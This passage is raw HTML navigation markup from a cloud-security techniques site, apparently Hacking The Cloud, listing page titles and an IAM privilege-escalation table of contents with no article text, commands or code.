class=md-ellipsis> General Knowledge </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_1_label aria-expanded=false> <label class=md-nav__title for=__nav_2_1> <span class="md-nav__icon md-icon"></span> General Knowledge </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../general-knowledge/aws_cli_tips_and_tricks/ class=md-nav__link> <span class=md-ellipsis> AWS CLI Tips and Tricks </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/aws_organizations_defaults/ class=md-nav__link> <span class=md-ellipsis> AWS Organizations Defaults & Pivoting </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/block-expensive-actions-with-scps/ class=md-nav__link> <span class=md-ellipsis> Prevent Expensive AWS API Actions with SCPs </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/connection-tracking/ class=md-nav__link> <span class=md-ellipsis> Connection Tracking </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/iam-key-identifiers/ class=md-nav__link> <span class=md-ellipsis> IAM unique identifiers </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/intro_metadata_service/ class=md-nav__link> <span class=md-ellipsis> Introduction to the Instance Metadata Service </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/introduction_user_data/ class=md-nav__link> <span class=md-ellipsis> Introduction to User Data </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/using_stolen_iam_credentials/ class=md-nav__link> <span class=md-ellipsis> Using Stolen IAM Credentials </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_2> <label class=md-nav__link for=__nav_2_2 id=__nav_2_2_label tabindex=0> <span class=md-ellipsis> Enumeration </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_2_label aria-expanded=false> <label class=md-nav__title for=__nav_2_2> <span class="md-nav__icon md-icon"></span> Enumeration </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../enumeration/account_id_from_ec2/ class=md-nav__link> <span class=md-ellipsis> Enumerate AWS Account ID from an EC2 Instance </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/account_id_from_s3_bucket/ class=md-nav__link> <span class=md-ellipsis> Enumerate AWS Account ID from a Public S3 Bucket </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/brute_force_iam_permissions/ class=md-nav__link> <span class=md-ellipsis> Brute Force IAM Permissions </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/bypass_cognito_user_enumeration_controls/ class=md-nav__link> <span class=md-ellipsis> Bypass Cognito Account Enumeration Controls </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/discover_secrets_in_public_aims/ class=md-nav__link> <span class=md-ellipsis> Discover secrets in public AMIs </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/enum_iam_user_role/ class=md-nav__link> <span class=md-ellipsis> Unauthenticated Enumeration of IAM Users and Roles </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/enumerate_principal_arn_from_unique_id/ class=md-nav__link> <span class=md-ellipsis> Derive a Principal ARN from an AWS Unique Identifier </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/enumerate_root_email_from_console/ class=md-nav__link> <span class=md-ellipsis> Enumerate Root User Email Address from the AWS Console </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/get-account-id-from-keys/ class=md-nav__link> <span class=md-ellipsis> Get Account ID from AWS Access Keys </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/loot_public_ebs_snapshots/ class=md-nav__link> <span class=md-ellipsis> Loot Public EBS Snapshots </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/whoami/ class=md-nav__link> <span class=md-ellipsis> Whoami - Get Principal Name From Keys </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--active md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_3 checked> <label class=md-nav__link for=__nav_2_3 id=__nav_2_3_label tabindex=0> <span class=md-ellipsis> Exploitation </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_3_label aria-expanded=true> <label class=md-nav__title for=__nav_2_3> <span class="md-nav__icon md-icon"></span> Exploitation </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../abusing-container-registry/ class=md-nav__link> <span class=md-ellipsis> Abusing Elastic Container Registry for Lateral Movement </span> </a> </li> <li class=md-nav__item> <a href=../cognito_identity_pool_excessive_privileges/ class=md-nav__link> <span class=md-ellipsis> Abusing Overpermissioned AWS Cognito Identity Pools </span> </a> </li> <li class=md-nav__item> <a href=../cognito_user_self_signup/ class=md-nav__link> <span class=md-ellipsis> Abusing Unintended Self-Signup in AWS Cognito </span> </a> </li> <li class=md-nav__item> <a href=../ec2-metadata-ssrf/ class=md-nav__link> <span class=md-ellipsis> Steal EC2 Metadata Credentials via SSRF </span> </a> </li> <li class="md-nav__item md-nav__item--active"> <input class="md-nav__toggle md-toggle" type=checkbox id=__toc> <label class="md-nav__link md-nav__link--active" for=__toc> <span class=md-ellipsis> AWS IAM Privilege Escalation Techniques </span> <span class="md-nav__icon md-icon"></span> </label> <a href=./ class="md-nav__link md-nav__link--active"> <span class=md-ellipsis> AWS IAM Privilege Escalation Techniques </span> </a> <nav class="md-nav md-nav--secondary" aria-label="Table of contents"> <label class=md-nav__title for=__toc> <span class="md-nav__icon md-icon"></span> Table of contents </label> <ul class=md-nav__list data-md-component=toc data-md-scrollfix> <li class=md-nav__item> <a href=#codestarcreateproject-codestarassociateteammember class=md-nav__link> <span class=md-ellipsis> codestar:CreateProject, codestar:AssociateTeamMember </span> </a> </li> <li class=md-nav__item> <a href=#glueupdatedevendpoint class=md-nav__link> <span class=md-ellipsis> glue:UpdateDevEndpoint </span> </a> </li> <li class=md-nav__item> <a href=#iamaddusertogroup class=md-nav__link> <span class=md-ellipsis> iam:AddUserToGroup </span> </a> </li> <li class=md-nav__item> <a href=#iamattachgrouppolicy class=md-nav__link> <span class=md-ellipsis> iam:AttachGroupPolicy </span> </a> </li> <li class=md-nav__item> <a href=#iamattachrolepolicy class=md-nav__link> <span class=md-ellipsis> iam:AttachRolePolicy </span> </a> </li> <li class=md-nav__item> <a href=#iamattachuserpolicy class=md-nav__link> <span class=md-ellipsis> iam:AttachUserPolicy </span> </a> </li> <li class=md-nav__item> <a href=#iamcreateaccesskey class=md-nav__link> <span class=md-ellipsis> iam:CreateAccessKey </span> </a> </li> <li class=md-nav__item> <a href=#iamcreateloginprofile class=md-nav__link> <span class=md-ellipsis> iam:CreateLoginProfile </span> </a> </li> <li class=md-nav__item> <a href=#iamcreatepolicyversion class=md-nav__link> <span class=md-ellipsis> iam:CreatePolicyVersion </span> </a> </li> <li class=md-nav__item> <a href=#iamdeleterolepermissionsboundary class=md-nav__link> <span class=md-ellipsis> iam:DeleteRolePermissionsBoundary </span> </a> </li> <li class=md-nav__item> <a href=#iamdeleterolepolicy class=md-nav__link> <span class=md-ellipsis> iam:DeleteRolePolicy </span> </a> </li> <li class=md-nav__item> <a href=#iamdeleteuserpermissionsboundary class=md-nav__link> <span class=md-ellipsis> iam:DeleteUserPermissionsBoundary </span> </a> </li> <li class=md-nav__item> <a href=#iamdeleteuserpolicy class=md-nav__link> <span class=md-ellipsis> iam:DeleteUserPolicy </span> </a> </li> <li class=md-nav__item> <a href=#iamdetachrolepolicy class=md-nav__link> <span class=md-ellipsis> iam:DetachRolePolicy </span> </a> </li> <li class=md-nav__item> <a href=#iamdetachuserpolicy class=md-nav__link> <span class=md-ellipsis> iam:DetachUserPolicy </span> </a> </li> <li class=md-nav__item> <a href=#iampassrole-autoscalingcreateautoscalinggroup-or-autoscalingupdateautoscalinggroup-autoscalingcreatelaunchconfiguration class=md-nav__link> <span class=md-ellipsis> iam:PassRole, autoscaling:CreateAutoScalingGroup or autoscaling:UpdateAutoScalingGroup, autoscaling:CreateLaunchConfiguration, </span> </a> </li> <li class=md-nav__item> <a href=#iampassrole-autoscalingcreateautoscalinggroup-or-autoscalingupdateautoscalinggroup-ec2createlaunchtemplate class=md-nav__link> <span class=md-ellipsis> iam:PassRole, autoscaling:CreateAutoScalingGroup or autoscaling:UpdateAutoScalingGroup, ec2:CreateLaunchTemplate </span> </a> </li> <li class=md-nav__item> <a href=#iampassrole-cloudformationcreatestack class=md-nav__link> <span class=md-ellipsis> iam:PassRole, cloudformation:CreateStack </span> </a> </li> <li class=md-nav__item> <a href=#iampassrole-codestarcreateproject class=md-nav__link> <span class=md-ellipsis> iam:PassRole, codestar:CreateProject </span> </a> </li> <li class=md-nav__item> <a href=#iampassrole-datapipelineactivatepipeline-datapipelinecreatepipeline-datapipelineputpipelinedefinition class=md-nav__link> <span class=md-ellipsis> iam:PassRole, datapipeline:ActivatePipeline, datapipeline:CreatePipeline, datapipeline:PutPipelineDefinition </span> </a> </li> <li class=md-nav__item> <a href=#iampassrole-ec2runinstances class=md-nav__link> <span class=md-ellipsis> iam:PassRole, ec2:RunInstances </span> </a> </li> <li class=md-nav__item> <a href=#iampassrole-gluecreatedevendpoint class=md-nav__link> <span class=md-ellipsis> iam:PassRole, glue:CreateDevEndpoint </span> </a> </li> <li class=md-nav__item> <a href=#iampassrole-gluecreatejob class=md-nav__link> <span class=md-ellipsis> iam:PassRole, glue:CreateJob </span> </a> </li> <li class=md-nav__item> <a href=#iampassrole-glueupdatejob class=md-nav__link> <span class=md-ellipsis> iam:PassRole, glue:UpdateJob </span> </a> </li> <li class=md-nav__item> <a href=#iampassrole-lambdaaddpermission-lambdacreatefunction class=md-nav__link> <span class=md-ellipsis> iam:PassRole, lambda:AddPermission, lambda:CreateFunction </span> </a> </li> <li class=md-nav__item> <a href=#iampassrole-lambdacreateeventsourcemapping-lambdacreatefunction class=md-nav__link> <span class=md-ellipsis> iam:PassRole, lambda:CreateEventSourceMapping, lambda:CreateFunction </span> </a> </li> <li class=md-nav__item> <a href=#iampassrole-lambdacreatefunction-lambdainvokefunction class=md-nav__link> <span class=md-ellipsis> iam:PassRole, lambda:CreateFunction, lambda:InvokeFunction </span> </a> </li> <li class=md-nav__item> <a href=#iamputgrouppolicy class=md-nav__link> <span class=md-ellipsis> iam:PutGroupPolicy </span> </a> </li> <li class=md-nav__item> <a href=#iamputrolepermissionsboundary class=md-nav__link> <span class=md-ellipsis> iam:PutRolePermissionsBoundary </span> </a> </li> <li class=md-nav__item> <a href=#iamputrolepolicy class=md-nav__link> <span class=md-ellipsis> iam:PutRolePolicy </span> </a> </li> <li class=md-nav__item> <a href=#iamputuserpermissionsboundary class=md-nav__link> <span class=md-ellipsis> iam:PutUserPermissionsBoundary </span> </a> </li> <li class=md-nav__item> <a href=#iamputuserpolicy class=md-nav__link> <span class=md-ellipsis> iam:PutUserPolicy </span> </a> </li> <li class=md-nav__item> <a href=#iamsetdefaultpolicyversion class=md-nav__link> <span class=md-ellipsis> iam:SetDefaultPolicyVersion </span> </a> </li> <li class=md-nav__item> <a href=#iamupdateassumerolepolicy class=md-nav__link> <span class=md-ellipsis> iam:UpdateAssumeRolePolicy </span> </a> </li> <li class=md-nav__item> <a href=#iamupdateloginprofile class=md-nav__link> <span class=md-ellipsis> iam:UpdateLoginProfile </span> </a> </li> <li class=md-nav__item> <a href=#lambdaupdatefunctioncode class=md-nav__link> <span class=md-ellipsis> lambda:UpdateFunctionCode </span> </a> </li> <li class=md-nav__item> <a href=#lambdaupdatefunctionconfiguration class=md-nav__link> <span class=md-ellipsis> lambda:UpdateFunctionConfiguration </span> </a> </li> </ul> </nav> </li> <li class=md-nav__item> <a href=../lambda-steal-iam-credentials/ class=md-nav__link> <span class=md-ellipsis> Steal IAM Credentials and Event Data from Lambda </span> </a> </li> <li class=md-nav__item> <a href=../local_ec2_priv_esc_through_user_data/ class=md-nav__link> <span class=md-ellipsis> EC2 Privilege Escalation Through User Data </span> </a> </li> <li class=md-nav__item> <a href=../orphaned_cloudfront_or_dns_takeover_via_s3/ class=md-nav__link> <span class=md-ellipsis> DNS and CloudFront Domain Takeover via Deleted S3 Buckets </span> </a> </li> <li class=md-nav__item> <a href=../route53_modification_privilege_escalation/ class=md-nav__link> <span class=md-ellipsis> AWS API Call Hijacking via ACM-PCA </span> </a> </li> <li class=md-nav__item> <a href=../s3-bucket-replication-exfiltration/ class=md-nav__link> <span class=md-ellipsis> Exfiltrating S3 Data with Bucket Replication Policies </span> </a> </li> <li class=md-nav__item> <a href=../s3_server_access_logs/ class=md-nav__link> <span class=md-ellipsis> Data Exfiltration through S3 Server Access Logs </span> </a> </li> <li class=md-nav__item> <a href=../s3_streaming_copy/ class=md-nav__link> <span class=md-ellipsis> S3 Streaming Copy </span> </a> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_3_13> <div class="md-nav__link md-nav__container"> <a href=../Misconfigured_Resource-Based_Policies/ class="md-nav__link "> <span class=md-ellipsis> Misconfigured Resource Based Policies </span> </a> <label class="md-nav__link " for=__nav_2_3_13 id=__nav_2_3_13_label tabindex=0> <span class="md-nav__icon md-icon"></span> </label> </div> <nav class=md-nav data-md-level=3 aria-labelledby=__nav_2_3_13_label aria-expanded=false> <label class=md-nav__title for=__nav_2_3_13> <span class="md-nav__icon md-icon"></span> Misconfigured Resource Based Policies </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../Misconfigured_Resource-Based_Policies/exploit_amplify_vulnerability_in_same_account_scenario/ class=md-nav__link> <span class=md-ellipsis> CVE-2024-28056: Exploit an AWS Amplify Vulnerability in Same-Account Scenarios </span> </a> </li> <li class=md-nav__item> <a href=../Misconfigured_Resource-Based_Policies/exploiting_misconfigured_gitlab_oidc_aws_iam_roles/ class=md-nav__link> <span class=md-ellipsis> Exploiting Misconfigured GitLab OIDC AWS IAM Roles </span> </a> </li> <li class=md-nav__item> <a href=../Misconfigured_Resource-Based_Policies/exploting_public_resources_attack_playbook/ class=md-nav__link> <span class=md-ellipsis> Exploiting Public AWS Resources Programmatically - The Playbook </span> </a> </li> <li class=md-nav__item> <a href=../Misconfigured_Resource-Based_Policies/misconfigured_ecr_resource_policy/ class=md-nav__link> <span class=md-ellipsis> Abusing Misconfigured ECR Resource Policies </span> </a> </li> <li class=md-nav__item> <a href=../Misconfigured_Resource-Based_Policies/misconfigured_iam_role_trust_policy_wildcard_principal/ class=md-nav__link> <span class=md-ellipsis> Abusing Misconfigured Role Trust Policies with a Wildcard Principal </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_4> <label class=md-nav__link for=__nav_2_4 id=__nav_2_4_label tabindex=0> <span class=md-ellipsis> Avoid Detection </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_4_label aria-expanded=false> <label class=md-nav__title for=__nav_2_4> <span class="md-nav__icon md-icon"></span> Avoid Detection </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../avoiding-detection/guardduty-pentest/ class=md-nav__link> <span class=md-ellipsis> Bypass GuardDuty Pentest Findings for the AWS CLI </span> </a> </li> <li class=md-nav__item> <a href=../../avoiding-detection/guardduty-tor-client/ class=md-nav__link> <span class=md-ellipsis> Bypass GuardDuty Tor Client Findings </span> </a> </li> <li class=md-nav__item> <a href=../../avoiding-detection/modify-guardduty-config/ class=md-nav__link> <span class=md-ellipsis> Modify GuardDuty Configuration </span> </a> </li> <li class=md-nav__item> <a href=../../avoiding-detection/steal-keys-undetected/ class=md-nav__link> <span class=md-ellipsis> Bypass Credential Exfiltration Detection </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_5> <label class=md-nav__link for=__nav_2_5 id=__nav_2_5_label tabindex=0> <span class=md-ellipsis> Post Exploitation </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_5_label aria-expanded=false> <label class=md-nav__title for=__nav_2_5> <span class="md-nav__icon md-icon"></span> Post Exploitation </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../post_exploitation/create_a_console_session_from_iam_credentials/ class=md-nav__link> <span class=md-ellipsis> Create a Console Session from IAM Credentials </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/download_tools_and_exfiltrate_data_with_aws_cli/ class=md-nav__link> <span class=md-ellipsis> Download Tools and Exfiltrate Data with the AWS CLI </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/get_iam_creds_from_console_session/ class=md-nav__link> <span class=md-ellipsis> Get IAM Credentials from a Console Session </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/iam_persistence/ class=md-nav__link> <span class=md-ellipsis> AWS IAM Persistence Methods </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/intercept_ssm_communications/ class=md-nav__link> <span class=md-ellipsis> Intercept SSM Communications </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/lambda_persistence/ class=md-nav__link> <span class=md-ellipsis> Lambda Persistence </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/role-chain-juggling/ class=md-nav__link> <span class=md-ellipsis> Role Chain Juggling </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/run_shell_commands_on_ec2/ class=md-nav__link> <span class=md-ellipsis> Run Shell Commands on EC2 with Send Command or Session Manager </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/s3_acl_persistence/ class=md-nav__link> <span class=md-ellipsis> S3 File ACL Persistence </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/survive_access_key_deletion_with_sts_getfederationtoken/ class=md-nav__link> <span class=md-ellipsis> Survive Access Key Deletion with sts:GetFederationToken </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/user_data_script_persistence/ class=md-nav__link> <span class=md-ellipsis> User Data Script Persistence </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_6> <label class=md-nav__link for=__nav_2_6 id=__nav_2_6_label tabindex=0> <span class=md-ellipsis> Deprecated </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_6_label aria-expanded=false> <label class=md-nav__title for=__nav_2_6> <span class="md-nav__icon md-icon"></span> Deprecated </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../deprecated/stealth_perm_enum/ class=md-nav__link> <span class=md-ellipsis> [Deprecated] Enumerate Permissions without Logging to CloudTrail </span> </a> </li> <li class=md-nav__item> <a href=../../deprecated/whoami/ class=md-nav__link> <span class=md-ellipsis> [Deprecated] Whoami - Get Principal Name From Keys </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_7> <label class=md-nav__link for=__nav_2_7 id=__nav_2_7_label tabindex=0> <span class=md-ellipsis> Capture the Flag </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_7_label aria-expanded=false> <label class=md-nav__title for=__nav_2_7> <span class="md-nav__icon md-icon"></span> Capture the Flag </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../capture_the_flag/cicdont/ class=md-nav__link> <span class=md-ellipsis> CI/CDon't </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_3> <label class=md-nav__link for=__nav_3 id=__nav_3_label tabindex=0> <span class=md-ellipsis> Azure </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_3_label aria-expanded=false> <label class=md-nav__title for=__nav_3> <span class="md-nav__icon md-icon"></span> Azure </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../azure/abusing-managed-identities/ class=md-nav__link> <span class=md-ellipsis> Abusing Managed Identities </span> </a> </li> <li class=md-nav__item> <a href=../../../azure/anonymous-blob-access/ class=md-nav__link> <span class=md-ellipsis> Anonymous Blob Access </span> </a> </li> <li class=md-nav__item> <a href=../../../azure/enum_email_addresses/ class=md-nav__link> <span class=md-ellipsis> Unauthenticated Enumeration of Azure Active Directory Email Addresses </span> </a> </li> <li class=md-nav__item> <a href=../../../azure/run-command-abuse/ class=md-nav__link> <span class=md-ellipsis> Run Command Abuse </span> </a> </li> <li class=md-nav__item> <a href=../../../azure/soft-deleted-blobs/ class=md-nav__link> <span class=md-ellipsis> Soft Deleted Blobs </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4> <label class=md-nav__link for=__nav_4 id=__nav_4_label tabindex=0> <span class=md-ellipsis> GCP </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_4_label aria-expanded=false> <label class=md-nav__title for=__nav_4> <span class="md-nav__icon md-icon"></span> GCP </label> <ul class=md-nav__list data-md-scrollfix> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_1> <label class=md-nav__link for=__nav_4_1 id=__nav_4_1_label tabindex=0> <span class=md-ellipsis> General Knowledge </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_1_label aria-expanded=false> <label class=md-nav__title for=__nav_4_1> <span class="md-nav__icon md-icon"></span> General Knowledge </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../gcp/general-knowledge/default-account-names/ class=md-nav__link> <span class=md-ellipsis> Default Account Information </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/general-knowledge/gcp-buckets/ class=md-nav__link> <span class=md-ellipsis> Hunting GCP Buckets </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/general-knowledge/metadata_in_google_cloud_instances/ class=md-nav__link> <span class=md-ellipsis> Metadata in Google Cloud Instances </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/general-knowledge/security-and-constraints/ class=md-nav__link> <span class=md-ellipsis> Security and Constraints </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_2> <label class=md-nav__link for=__nav_4_2 id=__nav_4_2_label tabindex=0> <span class=md-ellipsis> Enumeration </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_2_label aria-expanded=false> <label class=md-nav__title for=__nav_4_2> <span class="md-nav__icon md-icon"></span> Enumeration </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../gcp/enumeration/enum_email_addresses/ class=md-nav__link> <span class=md-ellipsis> Unauthenticated Enumeration of Google Workspace Email Addresses </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/enumeration/enumerate_all_permissions/ class=md-nav__link> <span class=md-ellipsis> Enumerate Org/Folder/Project Permissions + Individual Resource Permissions </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/enumeration/enumerate_service_account_permissions/ class=md-nav__link> <span class=md-ellipsis> Enumerate Service Account Permissions </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_3> <label class=md-nav__link for=__nav_4_3 id=__nav_4_3_label tabindex=0> <span class=md-ellipsis> Exploitation </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_3_label aria-expanded=false> <label class=md-nav__title for=__nav_4_3> <span class="md-nav__icon md-icon"></span> Exploitation </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../gcp/exploitation/gcp_iam_privilege_escalation/ class=md-nav__link> <span class=md-ellipsis> Privilege Escalation in Google Cloud Platform </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_4> <label class=md-nav__link for=__nav_4_4 id=__nav_4_4_label tabindex=0> <span class=md-ellipsis> Capture the Flag </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_4_label aria-expanded=false> <label class=md-nav__title for=__nav_4_4> <span class="md-nav__icon md-icon"></span> Capture the Flag </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../gcp/capture_the_flag/gcp-goat/ class=md-nav__link> <span class=md-ellipsis> GCP Goat </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/capture_the_flag/thunder_ctf/ class=md-nav__link> <span class=md-ellipsis> Thunder CTF </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_5> <label class=md-nav__link for=__nav_5 id=__nav_5_label tabindex=0> <span class=md-ellipsis> Terraform </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_5_label aria-expanded=false> <label class=md-nav__title for=__nav_5> <span class="md-nav__icon md-icon"></span> Terraform </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../terraform/terraform_ansi_escape_evasion/ class=md-nav__link> <span class=md-ellipsis> Terraform ANSI Escape </span> </a> </li> <li class=md-nav__item> <a href=../../../terraform/terraform_enterprise_metadata_service/ class=md-nav__link> <span class=md-ellipsis> Terraform Enterprise: Attack the Metadata Service </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_6> <label class=md-nav__link for=__nav_6 id=__nav_6_label tabindex=0> <span class=md-ellipsis> Blog </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_6_label aria-expanded=false> <label class=md-nav__title for=__nav_6> <span class="md-nav__icon md-icon"></span> Blog </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../blog/2023_wrap-up/ class=md-nav__link> <span class=md-ellipsis> 2023 Wrap-up </span> </a> </li> <li class=md-nav__item> <a href=../../../blog/2022_wrap-up/ class=md-nav__link> <span class=md-ellipsis> 2022 Wrap-up </span> </a> </li> <li class=md-nav__item> <a href=../../../blog/v2_new_look/ class=md-nav__link> <span class=md-ellipsis> Hacking The Cloud v2: New Look </span> </a> </li> </ul> </nav> </li> </ul> </nav> </div> </div> </div> <div class="md-sidebar md-sidebar--secondary" data-md-component=sidebar data-md-type=toc> <div class=md-sidebar__scrollwrap> <div class=md-sidebar__inner> <nav class="md-nav md-nav--secondary" aria-label="Table of contents"> <label class=md-nav__title for=__toc> <span class="md-nav__icon md-icon"></span> Table of contents </label> <ul class=md-nav__list data-md-component=toc data-md-scrollfix> <li class=md-nav__item> <a href=#codestarcreateproject-codestarassociateteammember class=md-nav__link> <span class=md-ellipsis> codestar:CreateProject, codestar:AssociateTeamMember </span> </a> </li> <li class=md-nav__item> <a href=#glueupdatedevendpoint class=md-nav__link> <span class=md-ellipsis> glue:UpdateDevEndpoint </span> </a> </li> <li class=md-nav__item> <a href=#iamaddusertogroup class=md-nav__link> <span class=md-ellipsis> iam:AddUserToGroup </span> </a> </li> <li class=md-nav__item> <a href=#iamattachgrouppolicy class=md-nav__link> <span class=md-ellipsis> iam:AttachGroupPolicy </span> </a> </li> <li class=md-nav__item> <a href=#iamattachrolepolicy class=md-nav__link> <span class=md-ellipsis> iam:AttachRolePolicy </span> </a> </li> <li class=md-nav__item> <a href=#iamattachuserpolicy class=md-nav__link> <span class=md-ellipsis> iam:AttachUserPolicy </span> </a> </li> <li class=md-nav__item> <a href=#iamcreateaccesskey class=md-nav__link> <span class=md-ellipsis> iam:CreateAccessKey </span> </a> </li> <li class=md-nav__item> <a href=#iamcreateloginprofile class=md-nav__link> <span class=md-ellipsis> iam:CreateLoginProfile </span> </a> </li> <li class=md-nav__item> <a href=#iamcreatepolicyversion class=md-nav__link> <span class=md-ellipsis> iam:CreatePolicyVersion </span> </a> </li> <li class=md-nav__item> <a href=#iamdeleterolepermissionsboundary class=md-nav__link> <span class=md-ellipsis> iam:DeleteRolePermissionsBoundary </span> </a> </li> <li class=md-nav__item> <a href=#iamdeleterolepolicy class=md-nav__link> <span class=md-ellipsis> iam:DeleteRolePolicy </span> </a> </li> <li class=md-nav__item> <a href=#iamdeleteuserpermissionsboundary class=md-nav__link> <span class=md-ellipsis> iam:DeleteUserPermissionsBoundary </span> </a> </li> <li class=md-nav__item> <a href=#iamdeleteuserpolicy class=md-nav__link> <span class=md-ellipsis> iam:DeleteUserPolicy </span> </a> </li> <li class=md-nav__item> <a href=#iamdetachrolepolicy class=md-nav__link> <span class=md-ellipsis> iam:DetachRolePolicy </span> </a> </li> <li class=md-nav__item> <a href=#iamdetachuserpolicy class=md-nav__link> <span class=md-ellipsis> iam:DetachUserPolicy </span> </a> </li> <li class=md-nav__item> <a href=#iampassrole-autoscalingcreateautoscalinggroup-or-autoscalingupdateautoscalinggroup-autoscalingcreatelaunchconfiguration class=md-nav__link> <span class=md-ellipsis> iam:PassRole, autoscaling:CreateAutoScalingGroup or autoscaling:UpdateAutoScalingGroup, autoscaling:CreateLaunchConfiguration, </span> </a> </li> <li class=md-nav__item> <a 